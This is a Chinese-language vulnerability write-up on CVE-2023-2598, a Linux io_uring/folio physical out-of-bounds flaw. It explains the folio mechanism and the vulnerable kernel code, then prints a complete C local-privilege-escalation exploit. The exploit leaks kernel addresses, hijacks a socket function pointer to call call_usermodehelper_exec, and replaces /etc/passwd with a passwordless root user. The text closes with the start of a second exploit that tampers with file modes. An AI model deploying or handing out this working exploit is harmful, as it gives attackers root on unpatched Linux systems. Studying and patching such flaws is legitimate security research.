CVE-2023-2598 内核提权详细分析
CVE-2023-2598 内核提权详细分析
默文 看雪学苑 2025-03-24 18:00
01
漏洞简介
漏洞编号: CVE-2023-2598
影响版本：6.3 <= Linux Kernel < v6.3.2
漏洞产品: linux kernel – io_uring & io_sqe_buffer_register io_uring & folio
利用效果: 本地提权
02
环境搭建
复现环境：qemu + linux kernel v6.3.1
环境附件：mowenroot/Kernel
复现流程：执行exp后，账号:hacker的root用户被添加。su hacker完成提权。
03
漏洞原理
漏洞本质是**物理地址越界读取(oob)**。io_uring模块中提供io_sqe_buffers_register来创建一个Fixed Buffers的区域，这块区域会锁定，不能被交换，专门用来数据的读取。但是在进行连续多个大页的优化，尝试合并页的时候，使用了新机制folio，folio是物理内存、虚拟内存都连续的page集合，在进行页合并时只判断page是否属于当前复合页，而未判断是否连续。当用户传入同一个物理地址时，长度是整个复合页长度，地址是指向一个地址，这个时候就会造成**物理地址越界读取**。
漏洞技术点涉及 io_uring 、复合页机制folio，下面详细分析。
参考链接：
CVE-2023-2598 io_uring内核提权分析 | CTF导航
https://chompie.rip/Blog+Posts/Put+an+io_uring+on+it+-+Exploiting+the+Linux+Kernel
https://anatomic.rip/cve-2023-2598/#folio
虽然参考了很多资料，但是网传的EXP手法都过于复杂，并且还需要内核基地址的校准，并没有通杀性，作者在这里使用这个漏洞转化为稳定强大的“脏牛”。
04
folio
Linux内核v5.16引入了内存管理特性folio，旨在解决传统struct page在处理内存页时的效率问题，特别是在管理大块内存和页缓存（page cache）时。
在Linux内核中，物理内存以**页（page）**为单位管理，每个页对应一个struct page结构体。传统方式中，无论是 4KB 的小页还是 2MB 的大页（如透明大页，THP），每个页都需独立的struct page实例,说人话就是不管你申请多少大的内存，我都4KB、4KB的给你。但是吧，可能在内存操作少的时候无感，但使用大页的时候开销就会变的巨大。总结一下就会有以下缺点：
◆内存开销大：每页的元数据（struct page）占用额外内存，尤其是大页场景下，多个连续页的元数据导致冗余。
◆操作效率低：处理大块内存时，需遍历每个页的struct page，这就有点搬砖的意思了。
◆代码复杂度高：内存管理代码需区分单页与复合页，逻辑复杂。在没引入folio之前，操作复合页很复杂。
在没folio
之前都是通过 “复合页” ，来抽象多个物理连续页的。
当__alloc_pages
分配标志GFP FLAGS指定了__GFP_COMP
，那么内核必须将这些页组合成复合页，第一个页称为head page
，其余的所有页称为tail page
。
复合页通过以下方式区分head和tail页：
(1) Head 页
◆PG_head 标志：head_page ->flags设置PG_head，表示它是复合页的首个页。
◆private 字段：head 页的page->private指向自身，即head->private = (unsigned long)head。
(2) Tail 页
◆compound_head 字段：compound_head上的最后一位设置为1，表示tail page。
◆private 字段：tail 页的page->private指向 head 页，即tail->private = (unsigned long)head。
// 判断是否为 head 页
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page_fixed_fake_head(page);
}
// 判断是否为 tail 页
static __always_inline int PageTail(struct page *page)
{
return READ_ONCE(page->compound_head) & 1 || page_is_fake_head(page);
}
复合页的总页数由分配时的**order**决定，计算公式为2^order。例如，order=3表示复合页包含8个页。总页数信息存储为第一个 tail 页的compound_order：通过compound_order()函数从compound_order中提取order值，进而计算总页数。
// 获取复合页的 order（总页数为 2^order）
static inline unsigned int compound_order(struct page *page)
{
if (!PageHead(page))
return 0;
return page[1].compound_order;
}
看到这里可能以及感觉到有点复杂了，当一个概念强加在另一个概念上，这就会变的非常糅杂。“复合页”就是如此，而folio是一个全新的结构体，相对概念也不干扰page。所以在这个时候Linus认为folio的优势也是明显的，能够更直白的处理复合页，避免一些混乱的问题，最终folio被采用。
folio 是 过去复合页的替代品，来看一下两者对比的基本操作。显而易见的folio更容易理解操作。
// 复合页分配与释放
struct page *page = alloc_pages(GFP_KERNEL, 2); // 分配 4 页（order=2）
__free_pages(page, 2);//需要指定 order
// Folio 分配与释放
struct folio *folio = folio_alloc(GFP_KERNEL, 2);
folio_put(folio); // 自动释放所有关联页
// 复合页遍历
struct page *page = compound_head(head);
int nr_pages = 1 << compound_order(page);
for (int i = 0; i < nr_pages; i++, page++)
process_page(page);
// Folio 遍历
struct folio *folio = ...;
folio_for_each_page(folio, page)
process_page(page);
Folio 机制
的引入，通过将一个或多个连续的
物理页抽象为逻辑上的folio 单元
，统一管理单页和大页，优化内存操作效率。
folio本质上可以看作是一个集合，是物理连续、虚拟连续的2^n次的PAGE_SIZE的一些bytes的集合，n可以是0，也就是说单个页也算是一个folio。
Folio并非全新结构，而是对struct page的封装扩展：
而且folio里面还内嵌了page结构。
struct folio {
struct page page; // 内嵌的 page 结构
// 其他元数据（如引用计数、标志位等）
};
05
漏洞分析
关于io_uring的一些基础知识之前的文章已经详细介绍过，如果师傅们感兴趣可以看看之前的文章。接下来只介绍漏洞相关的点。
NVD描述：在 Linux 内核中io_uring的固定缓冲区注册代码（io_sqe_buffer_register io_uring/rsrc.c）中发现一个缺陷，该缺陷允许对缓冲区末尾以外的物理内存进行越界访问。此缺陷可实现完全本地权限提升。
io_uring_register提供了接口io_sqe_buffer_register来注册一块 fixed_buffers 空间，这块区域会锁定，不能被交换，专门用来
数据的读取。
申请的大小和锁定地址都有用户来控制。
io_sqe_buffers_register
// io_uring/rsrc.c
int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
unsigned int nr_args, u64 __user *tags)
{
struct page *last_hpage = NULL;
struct io_rsrc_data *data;
int i, ret;
struct iovec iov;
BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));
// 如果已经注册过，则返回
if (ctx->user_bufs)
return -EBUSY;
// 大小限制
if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
return -EINVAL;
// 初始化备选node ctx->rsrc_backup_node
ret = io_rsrc_node_switch_start(ctx);
if (ret)
return ret;
// io_rsrc_data *data分配空间
ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
if (ret)
return ret;
// ctx->user_bufs 分配用户缓冲区数组
ret = io_buffers_map_alloc(ctx, nr_args);
if (ret) {
io_rsrc_data_free(data);
return ret;
}
// 遍历每个缓冲区
for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
if (arg) {
// 复制用户参数到iov
ret = io_copy_iov(ctx, &iov, arg, i);
if (ret)
break;
// iov 参数检查
ret = io_buffer_validate(&iov);
if (ret)
break;
} else {
memset(&iov, 0, sizeof(iov));
}
if (!iov.iov_base && *io_get_tag_slot(data, i)) {
ret = -EINVAL;
break;
}
ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
&last_hpage);
if (ret)
break;
}
WARN_ON_ONCE(ctx->buf_data);
ctx->buf_data = data;
if (ret)
__io_sqe_buffers_unregister(ctx);
else
io_rsrc_node_switch(ctx, NULL);
return ret;
}
「1」 首先就会使用io_buffers_map_alloc为上下文(ctx)分配用户缓冲区数组，分配数组大小由用户控制。
// io_uring/rsrc.c
static int io_buffers_map_alloc(struct io_ring_ctx *ctx, unsigned int nr_args)
{
ctx->user_bufs = kcalloc(nr_args, sizeof(*ctx->user_bufs), GFP_KERNEL);
return ctx->user_bufs ? 0 : -ENOMEM;
}
「2」 然后遍历每个ctx->user_bufs[]来进行初始化操作，先复制用户参数到内核态的kernel_iov，用户控制的usr_iov主要就两个字段{iov_base,iov_len},所以在申请缓冲区参数完全由用户控制。调用io_sqe_buffer_register传入iov,ctx->user_bufs[n]进一步对每个页完成注册。
io_sqe_buffer_register
// io_uring/rsrc.c
/* @ctx: io_uring上下文 @iov: 用户空间提供的I/O向量 @pimu: 带参返回，返回映射后的内核缓冲区描述符。 @last_hpage: 带参返回，返回最后一次处理的页 功能: 注册用户空间I/O缓冲区到内核*/
static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov, struct io_mapped_ubuf **pimu, struct page **last_hpage)
{
struct io_mapped_ubuf *imu = NULL;
struct page **pages = NULL;
unsigned long off;
size_t size;
int ret, nr_pages, i;
struct folio *folio = NULL;
// folio 新特性
// 物理连续、虚拟连续的2^n(n>=0)次的PAGE_SIZE的一些bytes的集合
*pimu = ctx->dummy_ubuf;
if (!iov->iov_base)
return 0;
ret = -ENOMEM;
// 锁定物理页，作为io_uring的共享内存区域
// 长度可控
pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len,
&nr_pages);
if (IS_ERR(pages)) {
ret = PTR_ERR(pages);
pages = NULL;
goto done;
}
/* If it's a huge page, try to coalesce them into a single bvec entry */
// 连续多个大页的优化，尝试合并页(复合页--folio)
if (nr_pages > 1) {
folio = page_folio(pages[0]);
for (i = 1; i < nr_pages; i++) {
// 漏洞点: 只判断是否在同一复合页，没判断是否连续
if (page_folio(pages[i]) != folio) {
folio = NULL;
break;
}
}
if (folio) {
/* * The pages are bound to the folio, it doesn't * actually unpin them but drops all but one reference, * which is usually put down by io_buffer_unmap(). * Note, needs a better helper. */
// 删除其他的引用，只保留第一个(保留pages[0])
unpin_user_pages(&pages[1], nr_pages - 1);
// 复合页所以 nr_pages==1
nr_pages = 1;
}
}
// 动态计算包含 nr_pages 个 bvec
imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL);
if (!imu)
goto done;
// 锁定 pages 到上下文
ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
if (ret) {
unpin_user_pages(pages, nr_pages);
goto done;
}
off = (unsigned long) iov->iov_base & ~PAGE_MASK;
size = iov->iov_len;
/* store original address for later verification */
imu->ubuf = (unsigned long) iov->iov_base;
imu->ubuf_end = imu->ubuf + iov->iov_len;
imu->nr_bvecs = nr_pages;
*pimu = imu;
ret = 0;
if (folio) {
// imu->biovec 赋值，这里对应的就是 ctx->user_bufs[i]
bvec_set_page(&imu->bvec[0], pages[0], size, off);
goto done;
}
for (i = 0; i < nr_pages; i++) {
size_t vec_len;
vec_len = min_t(size_t, size, PAGE_SIZE - off);
bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
off = 0;
size -= vec_len;
}
done:
if (ret)
kvfree(imu);
kvfree(pages);
return ret;
}
「1」 使用io_pin_pages()对用户传入iov锁定对应长度的物理页，作为io_uring的共享内存区域。
「2」 然后开始连续多个大页的优化，尝试合并页。如果nr_pages > 1，就开始合并页，这里的nr_pages取决于用户的iov_len，比如说iov_len = 50* PAGE_SIZE;，那在这里就有50个页的长度，在这nr_pages == 50>1，就可以开始尝试合并。
uiovec.iov_base = oob_buf;
uiovec.iov_len = nr_pages* PAGE_SIZE;
ret = io_uring_register_buffers(&ring,&uiovec,1);
「3」 漏洞点就在于此: 在循环判断当前页是否属于同一复合页的时候，只判断是否在同一复合页，没判断是否连续。在最开始介绍folio时，就很明确说明folio是虚拟连续、物理连续的一块内存空间。那当我传入所有的page虽然虚拟地址连续，但都指向一个物理地址。当你在读写时kernel认为你的读取的长度和地址都是连续的没问题，但实际都在一个固定的物理地址读取，长度却是整个复合页的长度。
folio = page_folio(pages[0]);
for (i = 1; i < nr_pages; i++) {
// 漏洞点: 只判断是否在同一复合页，没判断是否连续
if (page_folio(pages[i]) != folio) {
folio = NULL;
break;
}
}
「4」 继续跟进，如果满足复合页要求，会删除其他page的引用，只保留第一个(保留pages[0])，动态申请struct io_mapped_ubuf *imu空间包含nr_pages个bvec。调用io_buffer_account_pin(),锁定pages到imu,然后把iov参数传递给imu。这里的imu通过指针传递给&ctx->user_bufs[i]，说人话就是这些操作都是对user_bufs[i]进行操作。所以后续用户可以直接对这块区域进行操作。
if (folio) {
// imu->biovec 赋值，这里对应的就是 ctx->user_bufs[i]
bvec_set_page(&imu->bvec[0], pages[0], size, off);
goto done;
}
06
网传EXP复现
网传EXP地址：ysanatomic/io_uring_LPE-CVE-2023-2598
这个师傅使用的手法是通过设置sock然后oob找到sock，然后劫持proto为CALL_USERMODEHELPER_EXEC来提权。
缺点也很明显，依赖于内核基地址，不通用，且伪造subprocess_info过于复杂，并且有崩溃情况。
我直接修改了sock->ops->set_rcvlowat.然后导致加入work队列报错。也就懒得继续修复了，拿到这个漏洞的时候我就在想物理地址越界读写，直接转换为dirty_pipe对pipe的flags进行篡改，然后对只读文件进行篡改，但是我都对文件进行篡改了，那就直接劫持filp。后面开始实验。
〔1〕 初始化：绑定CPU，注册io_uring，设置最大可打开文件数 (把rlim_cur设置为rlim_max)，nr_memfds—— 映射漏洞物理页的文件最大打开数量。nr_sockets最大打开socket数量。
〔2〕 创建receiver_fd，映射receiver_buffer内存（mmap()），用于存放数据（越界读取的数据和伪造的数据）；
〔3〕 打开nr_sockets个 socket ：
设置 sk_pacing_rate / sk_max_pacing_rate == 0xdeadbeefdeadbeef, 便于找到本sock
/* net/core/sock.c */
case SO_MAX_PACING_RATE:
/* 设置最大速率限制 */
{
unsigned long ulval = (val == ~0U) ? ~0UL : (unsigned int)val;
if (sizeof(ulval) != sizeof(val) &&
optlen >= sizeof(ulval) &&
copy_from_sockptr(&ulval, optval, sizeof(ulval))) {
ret = -EFAULT;
break;
}
if (ulval != ~0UL)
cmpxchg(&sk->sk_pacing_status,
SK_PACING_NONE,
SK_PACING_NEEDED);
sk->sk_max_pacing_rate = ulval;
sk->sk_pacing_rate = min(sk->sk_pacing_rate, ulval);
break;
}
原作者使用sk_sndbuf ，设置sk->sk_sndbuf = max((fd+4608)*2, 4608), 通过sk->sk_sndbuf值可以识别其所属的fd。
但是在sock中有更简单的标识符SO_RCVBUF，设置接受缓冲区大小，在这里fd只需要**除以2**就能获取到。不用在原作者中过于复杂的转换。
使用SO_RCVBUF，设置sk->rcvbuf= 0x20000+fd, 通过sk->rcvbuf值可以识别其所属的fd。
〔4〕 打开nr_memfds
个匿名共享文件（memfd_create()
），分配物理页（fallocate()
），这一步为文件分配物理地址
。
这里的物理地址不是顺序的，这一步很重要。
〔5〕 接着为文件映射虚拟内存，在固定地址处映射 65000 个连续的虚拟页（绑定该匿名文件），但是对应的物理页只有1个；并向io_uring注册该缓冲区。
〔6〕 越界读，定位到sock位置，泄露堆地址，内核基地址，然后伪造subprocess_info篡改sock.__sk_common.skc_prot为CALL_USERMODEHELPER_EXEC。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_DEFAULT "\033[0m"
#define showAddr(var) dprintf(2, COLOR_GREEN "[*] %s -> %p\n" COLOR_DEFAULT, #var, var);
#define logu(fmt, ...) dprintf(2, "[*] " fmt "\n" , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE "[*] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("Exit at line %d", __LINE__); \
exit(1); \
} while (0)
#define debug(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("debug at line %d", __LINE__); \
getchar(); \
} while (0)
#define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask))
#define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1)
#define L1_CACHE_SHIFT 6
#define sk_buff_size 224
#define SOCK_MIN_SNDBUF 2 * (2048 + ALIGN(sk_buff_size, 1 << L1_CACHE_SHIFT))
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void bind_cpu(int core);
void binary_dump(char *desc, void *addr, int len);
#define PAGE_SIZE 0x1000
#define SOCKET_TAG 0xdeadbeefdeadbeef
#define VIR_START_ADDR 0xaabbcc0000
#define FIX_ADD_FD 0x20000
#define FAILED ((void*)-1)
#define SET_RCVBUF(x) ((FIX_ADD_FD+x))
#define GET_RCVBUF(x) ((x/2)-FIX_ADD_FD)
#define SUBMIT_READ 0
#define SUBMIT_WRITE 1
void prep_rlimit(int *nr_memfds,int *nr_sockets){
struct rlimit max_file;
getrlimit(RLIMIT_NOFILE,&max_file);
logu("rlim_cur -> %d rlim_max -> %d",max_file.rlim_cur,max_file.rlim_max);
max_file.rlim_cur=max_file.rlim_max;
setrlimit(RLIMIT_NOFILE,&max_file);
int limit = max_file.rlim_max/4;
*nr_memfds = limit/2;
*nr_sockets= limit - *nr_memfds;
logu("nr_memfds -> %d nr_sockets -> %d",*nr_memfds,*nr_sockets);
}
int setup_memfd_physics(char* name,int real_size){
int fd = memfd_create(name,MFD_CLOEXEC);
fallocate(fd,0,0,PAGE_SIZE*real_size);
return fd;
}
int setup_socket(uint64_t TAG){
int fd;
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
die("socket creating failed");
// 设置 sk_pacing_rate / sk_max_pacing_rate , 便于找到本sock
if (setsockopt(fd, SOL_SOCKET, SO_MAX_PACING_RATE, &TAG, sizeof(uint64_t)) < 0)
die("setting pacing rate failed");
// sk->sk_rcvbuf = ((0x20000+fd)*2)
int rcvbuf = SET_RCVBUF(fd);
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(int)) < 0)
die("failed to set SO_SNDBUF");
return fd;
}
int leak_sock_addr(void* addr,uint64_t size){
int ret = -1;
uint64_t* tmp = (uint64_t* )addr;
for (size_t i = 0; i < size/8; i++)
{
// if( tmp[i] != 0)
// logi(" addr: %p offset: 0x%llx -> %p",addr+i,i,tmp[i]);
if(tmp[i]==SOCKET_TAG){
logw("successful!! addr: %p offset: 0x%llx -> %p",addr+i*8,i*8,tmp[i]);
if(ret == FAILED && tmp[i+1]==SOCKET_TAG)
ret = i*8 -472 + 0x10 ;
}
}
return ret;
}
void memfds_bind_virtual(int fd, int size){
for (size_t i = 0; i < size; i++)
{
if( mmap(VIR_START_ADDR+i*PAGE_SIZE , PAGE_SIZE,PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_FIXED,fd,0 )==MAP_FAILED )
die("failed mmap memfds_buf");
}
}
void submit_sqe(struct io_uring* ring,int fd,void* buf, unsigned int size,int FLAGS){
struct io_uring_sqe * sqe;
struct io_uring_cqe* cqe;
int ret;
sqe = io_uring_get_sqe(ring);
switch (FLAGS)
{
case SUBMIT_WRITE:
io_uring_prep_write_fixed(sqe,fd,buf,size,0,0);
break;
case SUBMIT_READ:
io_uring_prep_read_fixed(sqe,fd,buf,size,0,0);
break;
default:
return;
}
ret = io_uring_submit(ring);
if (ret < 0) {
die("failed io_uring_submit");
}
io_uring_wait_cqe(ring,&cqe);
io_uring_cqe_seen(ring,cqe);
}
void prep_file(){
FILE *sourceFile, *destFile;
char buffer[256];
sourceFile = fopen("/etc/passwd", "r");
if (sourceFile == NULL) {
die("open failed");
}
destFile = fopen("/home/mowen/passwd", "w");
if (destFile == NULL) {
die("open failed");
}
while (fgets(buffer, sizeof(buffer), sourceFile) != NULL) {
fputs(buffer, destFile);
}
fprintf(destFile, "hacker::0:0:root:/root:/bin/sh\n");
fclose(sourceFile);
fclose(destFile);
logu("prep_file");
}
int main(void){
#define SOCK_DEF_READALBE_OFFSET 0xcf7540
#define CALL_USERMODEHELPER_EXEC_WORK_OFFSET 0xfe610
#define CALL_USERMODEHELPER_EXEC_OFFSET 0xfe080
#define call_usermodehelper_exec_async_offset 0xfe4a0
int ret,nr_memfds,nr_sockets,tmp;
int *memfds,*sockets;
int recv_fd,recv_fd2,block_size;
void* recv_buf,*recv_buf2;
int nr_pages;
void* oob_buf ;
struct io_uring ring;
struct iovec uiovec;
struct io_uring_cqe* cqe;
struct io_uring_sqe* sqe;
BLUE;puts("[*]start");CLOSE;
prep_file();
bind_cpu(0);
// 1、解除当前进程限制
prep_rlimit(&nr_memfds,&nr_sockets);
// 2、初始化 io_uring、共享空间
logu("io_uring_queue_init");
io_uring_queue_init(4,&ring,0);
memfds = malloc(sizeof(*memfds)*nr_memfds);
sockets = malloc(sizeof(*sockets)*nr_sockets);
logu("init memfds && sockets");
for (size_t i = 0,tmp=0; i < nr_memfds; i++)
{
memfds[i]=setup_memfd_physics("mowen_fd",1);
if(i < nr_sockets) {
sockets[i] = setup_socket(SOCKET_TAG);
tmp++;
}
}
nr_sockets = tmp;
nr_pages = 65000;
logu("init recv_buf");
block_size = 0x100;
recv_fd=setup_memfd_physics("recv_fd",block_size);
recv_buf = mmap(0,block_size*PAGE_SIZE,PROT_WRITE|PROT_READ,
MAP_SHARED,recv_fd,0);
recv_fd2=setup_memfd_physics("recv_fd2",block_size);
recv_buf2 = mmap(0,0x5000,PROT_WRITE|PROT_READ,
MAP_SHARED,recv_fd,0);
if(recv_buf==MAP_FAILED || recv_buf2==MAP_FAILED)
die("failed mmap recv_buf");
logi("recv_buf -> %p",recv_buf);
for (size_t i = 0; i < nr_pages; i++)
{
// 3、注册 fixed buf
logu("memfds bind virtual");
memfds_bind_virtual(memfds[i],nr_pages);
oob_buf = VIR_START_ADDR;
uiovec.iov_base = oob_buf;
uiovec.iov_len = nr_pages* PAGE_SIZE;
logi("io_uring_register_buffers");
ret = io_uring_register_buffers(&ring,&uiovec,1);
if( ret < 0 )die("failed io_uring_register_buffers");
logd("uiovec.iov_base -> %p uiovec.iov_len -> %llx",uiovec.iov_base,uiovec.iov_len);
// 4、尝试oob
for (size_t vir_off = 0; vir_off < (nr_pages-block_size); vir_off+=block_size)
{
void* oob_addr = uiovec.iov_base+vir_off*PAGE_SIZE;
submit_sqe(&ring,recv_fd,oob_addr,block_size,SUBMIT_WRITE);
// binary_dump("recv_buf",recv_buf,block_size*PAGE_SIZE);
ret= leak_sock_addr(recv_buf,block_size*PAGE_SIZE);
if (ret==-1) continue;
// oob读取成功，开始提取信息
logu("oob_addr -> %p offset -> %p",oob_addr,vir_off*PAGE_SIZE);
void* sock_addr = oob_addr+ret;
logi("offset : %d v2p_sock_addr : %p",ret,sock_addr);
//定位到物理地址处，读取出完整sock
submit_sqe(&ring,recv_fd,sock_addr,0x2000,SUBMIT_WRITE);
memcpy(recv_buf2,recv_buf,0x2000);
//现在recv_buf 包含完整的sock结构体
void* sock = (void*)recv_buf;
logu("sock->sk_pacing_rate : 0x%llx",*(size_t*)(sock+456));
logu("sock->sk_max_pacing_rate : 0x%llx",*(size_t*)(sock+456+8));
int rcvbuf = *(int*)(sock+280);
int sock_fd = GET_RCVBUF(rcvbuf);
logu("sock->rcvbuf : 0x%x sock_fd -> %d",rcvbuf,sock_fd);
uint64_t sock_def_readable = *(uint64_t*)(sock+0x2a8);
vmlinux_base = sock_def_readable - SOCK_DEF_READALBE_OFFSET;
showAddr(vmlinux_base);
uint64_t slub_sock_addr = *(uint64_t*)(sock+0xd8);
slub_sock_addr -= 0xd8;
showAddr(slub_sock_addr);
// 先在sock上布置所需的字符串
// char cmd_argv[] = {"/bin/sh", "-c","/bin/sh &>/dev/ttyS0 </dev/ttyS0", NULL};
// char cmd_argv[] = "/bin/sh\x00-c\x00/bin/sh &>/dev/ttyS0 </dev/ttyS0\x00";
// echo "hacker::0:0:root:/root:/bin/sh" >> /etc/passwd
char cmd_argv[] = "/usr/bin/mv\x00-f\x00/home/mowen/passwd\x00/etc/passwd\x00";
uint64_t path_addr =slub_sock_addr;
uint64_t argv_addr =slub_sock_addr;
#define sk_priority_offset 0x1c0-0x20
#define sk_error_queue_offset 0xc0-0x10
#define sk_sk_socket_offset 0x270
#define socket_ops_offset 0x20
#define ops_set_rcvlowat_offset 0xe0
#define arg1_offset 11+1
#define arg2_offset arg1_offset+2+1
#define arg3_offset arg2_offset+18+1
#define kernel_execve 0x443470
pid_t pid;
pid=fork();
if (!pid)
{
memcpy(recv_buf+sk_priority_offset,cmd_argv,80);
uint64_t* sk_error_queue_addr = (uint64_t*)(recv_buf+sk_error_queue_offset);
sk_error_queue_addr[0] = slub_sock_addr+sk_priority_offset;
sk_error_queue_addr[1] = slub_sock_addr+sk_priority_offset+arg1_offset;
sk_error_queue_addr[2] = slub_sock_addr+sk_priority_offset+arg2_offset;
sk_error_queue_addr[3] = slub_sock_addr+sk_priority_offset+arg3_offset;
sk_error_queue_addr[4] = 0;
// 篡改 socket -> ops ->set_rcvlowat == call_usermodehelper_exec
// ops + 0x20 = set_rcvlowat
*(uint64_t*)(recv_buf+sk_sk_socket_offset) = slub_sock_addr+sk_sk_socket_offset;
*(uint64_t*)(recv_buf+sk_sk_socket_offset+socket_ops_offset) = slub_sock_addr;
*(uint64_t*)(recv_buf+ops_set_rcvlowat_offset) = vmlinux_base + CALL_USERMODEHELPER_EXEC_OFFSET;
//伪造 subprocess_info
uint64_t subprocess_info[11];
memset(subprocess_info,0,sizeof(subprocess_info));
subprocess_info[0] == 0x80;
subprocess_info[1] == slub_sock_addr + 8; // work_struct.entry.next
subprocess_info[2] == slub_sock_addr + 8; // work_struct.entry.prev
subprocess_info[3] = vmlinux_base+CALL_USERMODEHELPER_EXEC_WORK_OFFSET; // func ==call_usermodehelper_exec_work
subprocess_info[5] = slub_sock_addr+sk_priority_offset; // path_string_addr
subprocess_info[6] = slub_sock_addr+sk_error_queue_offset; // argv_strings_addr
memcpy(recv_buf,subprocess_info,sizeof(subprocess_info));
submit_sqe(&ring,recv_fd,sock_addr,0x2000,SUBMIT_READ);
logu("call_usermodehelper_exec fake done");
int val = 0;
setsockopt(sock_fd, SOL_SOCKET, SO_RCVLOWAT, &val, sizeof(val));
logu("child done");
}
logu("father start");
// waitpid(pid,0,0);
sleep(5);
submit_sqe(&ring,recv_fd2,sock_addr,0x2000,SUBMIT_READ);
debug("debug oob_addr(%p)",oob_addr);
logu("father done");
// sleep(10);
exit(-1);
}
io_uring_unregister_buffers(&ring);
munmap(oob_buf,nr_pages* PAGE_SIZE);
}
munmap(recv_buf,block_size*PAGE_SIZE);
close(recv_fd);
for (size_t i = 0; i < nr_memfds ; i++)
{
close(sockets[i]);
close(memfds[i]);
}
BLUE;puts("[*]end");CLOSE;
return 0;
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
07
作者脏牛EXP
本质就是篡改filp->f_mode为可写，然后篡改/etc/passwd。
〔1〕 初始化：绑定CPU，注册io_uring，设置最大可打开文件数 (把rlim_cur设置为rlim_max)，nr_memfds—— 映射漏洞物理页的文件最大打开数量。nr_files最大打开file数量。
〔2〕 创建receiver_fd，映射receiver_buffer内存（mmap()），用于存放数据（越界读取的数据和伪造的数据）；
〔3〕 打开nr_files个/etc/passwd,因为通过O_RDONLY标识符打开，f_mode固定为0x484a801d。
〔4〕 接着为文件映射虚拟内存，在固定地址处映射 65000 个连续的虚拟页（绑定该匿名文件），但是对应的物理页只有1个；并向io_uring注册该缓冲区。
nr_pages来源于用户设置的iov.len/page_size
pages里面就只有一个地址，所以很容易就绕过了之前说的判断
〔5〕 通过固定的f_flags+f_mode == 0x484a801d00008000定位到文件处，修改f_mode。
〔6〕因为无法知道文件描述符，所以暴力对所有/etc/passwd进行写操作，通过返回值判断是否写入成功，但是实测非常稳定，只要有这个漏洞就能提权。
/* gcc exp.c -static -l:liburing.a -o ./exp */
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include<sys/stat.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_DEFAULT "\033[0m"
#define showAddr(var) dprintf(2, COLOR_GREEN "[*] %s -> %p\n" COLOR_DEFAULT, #var, var);
#define logu(fmt, ...) dprintf(2, "[*] " fmt "\n" , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE "[*] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
